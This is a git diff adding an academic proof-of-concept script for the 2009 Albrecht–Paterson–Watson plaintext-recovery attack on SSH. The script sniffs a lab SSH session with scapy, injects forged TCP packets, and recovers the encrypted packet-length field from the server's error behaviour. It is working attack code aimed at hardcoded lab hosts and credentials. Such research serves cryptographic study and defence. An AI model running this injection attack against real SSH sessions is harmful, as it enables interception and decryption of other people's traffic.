diff options
Diffstat (limited to 'SSH Attack Summary/ssh-attack.py')
-rw-r--r-- | SSH Attack Summary/ssh-attack.py | 267 |
1 files changed, 267 insertions, 0 deletions
diff --git a/SSH Attack Summary/ssh-attack.py b/SSH Attack Summary/ssh-attack.py new file mode 100644 index 0000000..22cac00 --- /dev/null +++ b/SSH Attack Summary/ssh-attack.py @@ -0,0 +1,267 @@ +#!/usr/bin/python +""" +Proof-of-concept implementation of [APW09]_ + +.. [APW09] Martin R. Albrecht, Kenneth G. Paterson and Gaven J. Watson + Plaintext Recovery Attacks Against SSH + IEEE Security & Privacy 2009. IEEE 2009. + +AUTHOR: Martin Albrecht <martinralbrecht@googlemail.com> +""" +import pdb +import pxssh +import thread +import scapy +import time +import sys +import commands + +from scapy.all import IP, TCP + +# +# Configuration +# + +iface='lxcbr0' # the interface we work on +bob='10.0.1.1' # the client +alice='10.0.1.30' # the server + +def sniff_ssh_conversation(port): + """ + Sniff the conversation between alice and bob and return the last + SSH request/response pair. + """ + packets = scapy.all.sniff(iface=iface, timeout=2, filter="tcp port %d"%port) + packets = [p[IP] for p in packets if len(p[TCP]) > 4*p[TCP].dataofs] + + an = 0 + for p in reversed(packets): + if p.src == bob and p.dst == alice: + req = p + an = req[TCP].ack + break + else: + raise IndexError("Request packet not found") + + for p in reversed(packets): + if p.src == alice and p.dst == bob and p[TCP].seq == an: + res = p + break + else: + raise IndexError("Response packet not found") + + return req, res + +def delayed(func): + """ + Execute func one second late. + """ + def wrapper(*args, **kwds): + time.sleep(1) + return func(*args, **kwds) + wrapper.__doc__ = func.__doc__ + return wrapper + +@delayed +def generate_ssh_traffic(s): + s.send("a") + +def got_invalid_packet_length(response): + """ + Return True if the packet list has a payload packet (i.e. it is + neither only an ACK nor a FIN). We then assume that the packet + contains an SSH error message which could either be a + packet_length failure or a MAC failure which we ignore. + """ + for (a,b) in response: + if len(b[TCP]) > b[TCP].dataofs*4: + return True + return False + +def has_blocksize_failure(response): + """ + Return True if packet list contains a FIN and no 'size failure' + packet. + """ + if got_invalid_packet_length(response): + return False + for (a,b) in response: + if (b[TCP].flags & 1): + return True + return False + +def is_wait_state(response): + """ + Return True if neither has_blocksize_failure nor + got_invalid_packet_length is True. + """ + return not got_invalid_packet_length(response) and not has_blocksize_failure(response) + +def get_port_number(): + """ + Get port number of current SSH session using 'netstat'. + """ + for line in commands.getoutput("netstat -tn").splitlines(): + if alice + ":22" in line and "ESTABLISHED" in line: + src = [e for e in line.split(' ') if e != ''][3] + return int(src.split(":")[1]) + +def ssh_attack(): + i = -1 + while True: + i+=1 + sys.stdout.flush() + + # 1. start a fresh SSH session + s = pxssh.pxssh() + s.login(alice, "alice", "alice") + port = get_port_number() + + # 2.1. generate some traffic + thread.start_new_thread(generate_ssh_traffic, (s,)) + + # 2.2. sniff data & inject + try: + a, b = sniff_ssh_conversation(port) + c = gen_packet(b) + result = scapy.all.sr(c, iface=iface, verbose=False, timeout=1, multi=True) + except IndexError: + s.send("\n") + s.logout() + s.close() + print "Crap, something went wrong." + continue + + # 3. check the response from the server + response = result[0] + + if got_invalid_packet_length(response): + # TODO: We ignore MAC Failures here. + print "%5d: packet_length < 1 + 4 || packet_length > 256 * 1024"%(i,) + continue + elif has_blocksize_failure(response): + print "%5d: need %% block_size != 0"%(i) + continue + elif is_wait_state(response): + print "%5d: buffer_len(&input) < need + maclen "%(i,), + for (a,b) in response: + if is_ack(b): + break + try: + return handle_wait_state(b, port) + except PacketLengthUnlikely: + continue + else: + raise RuntimeError("This case should never happen",response,s) + return s + +def gen_packet(p, size=16): + """ + Generate an SSH package which replies to p. + """ + a = IP() + a.src = p[IP].dst + a.dst = p[IP].src + + b = TCP() + b.sport = p[TCP].dport + b.dport = p[TCP].sport + + b.seq = p[TCP].ack + b.ack = p[TCP].seq + len(p[TCP]) - (p[TCP].dataofs*4) + + timestamp = p[TCP].options[2][1] + b.flags = 0x18 # PA + b.options = [('NOP', None), ('NOP', None), ('Timestamp', (timestamp[1]+100, timestamp[0]))] + b.payload = '0'*size + return a/b + +def is_ack(p): + return p[IP].proto == 6 and len(p[TCP]) == p[TCP].dataofs*4 and p[TCP].flags & 16 + +class PacketLengthUnlikely(Exception): + """ + Raised if the value in the packet length field is unlikely, + i.e. it is very small. + """ + pass + +class MACFailure(Exception): + """ + Raised if we see a MAC failure on the wire. + """ + pass + +last = None + +def wait_state_callback(pkt): + """ + Called on every packet on the wire. + """ + global last + + if is_ack(pkt) and pkt[TCP].seq == last[TCP].ack: + # We received an ACK for our last SSH request, so we send + # another one. However, the TCP stack (in the kernel) might + # send out ACKs before SSH got a chance to reply with an SSH + # connection teardown, since computing a MAC for a long + # message takes time. We have two strategies to deal with + # that: + + # Strategy 1: We send packets that are too small. So if we + # send to many we know how many were too much. To enable this, + # set the second parameter to something < 16. + + pkt = gen_packet(pkt,16) + last = pkt + + # Strategy 2: We slow ourselves down here. + #time.sleep(0.05) + + scapy.all.send(pkt, verbose=False) + return + + elif len(pkt[TCP]) > (pkt[TCP].dataofs*4): + # We received a payload and assume a MAC failure. + raise MACFailure(pkt) + else: + # Something wrong happened, this should never happen. + raise TypeError("Unknown response", pkt) + +def handle_wait_state(pkt, port): + """ + We send small packets until we receive a MAC failure. The sending + is done via a callback only the initial packet is sent in this + function. We keep track of the sent packets via the sequence + numbers of TCP. + """ + global last + + pkt = gen_packet(pkt) + last = pkt + first_seq = int(pkt[TCP].seq) + + thread.start_new_thread(delayed(scapy.all.send), (pkt,)) + + try: + scapy.all.sniff(iface=iface, filter="src host %s && tcp port %d"%(alice,port,), prn=wait_state_callback) + except MACFailure, pkt: + return calc_packet_length(pkt.message, first_seq) + +def calc_packet_length(pkt, first_seq): + """ + Given a MAC failure message and a first sequence number calculate + the correct number of bytes sent and thereby the value of the + packet_length field. + """ + packet_length = pkt[TCP].ack - first_seq + + packet_length -= packet_length % 16 + + packet_length += 16 # account bytes sent initially + + packet_length -= 4 # don't count the packet_length field itself + packet_length -= 16 # don't count the MAC + + return packet_length + |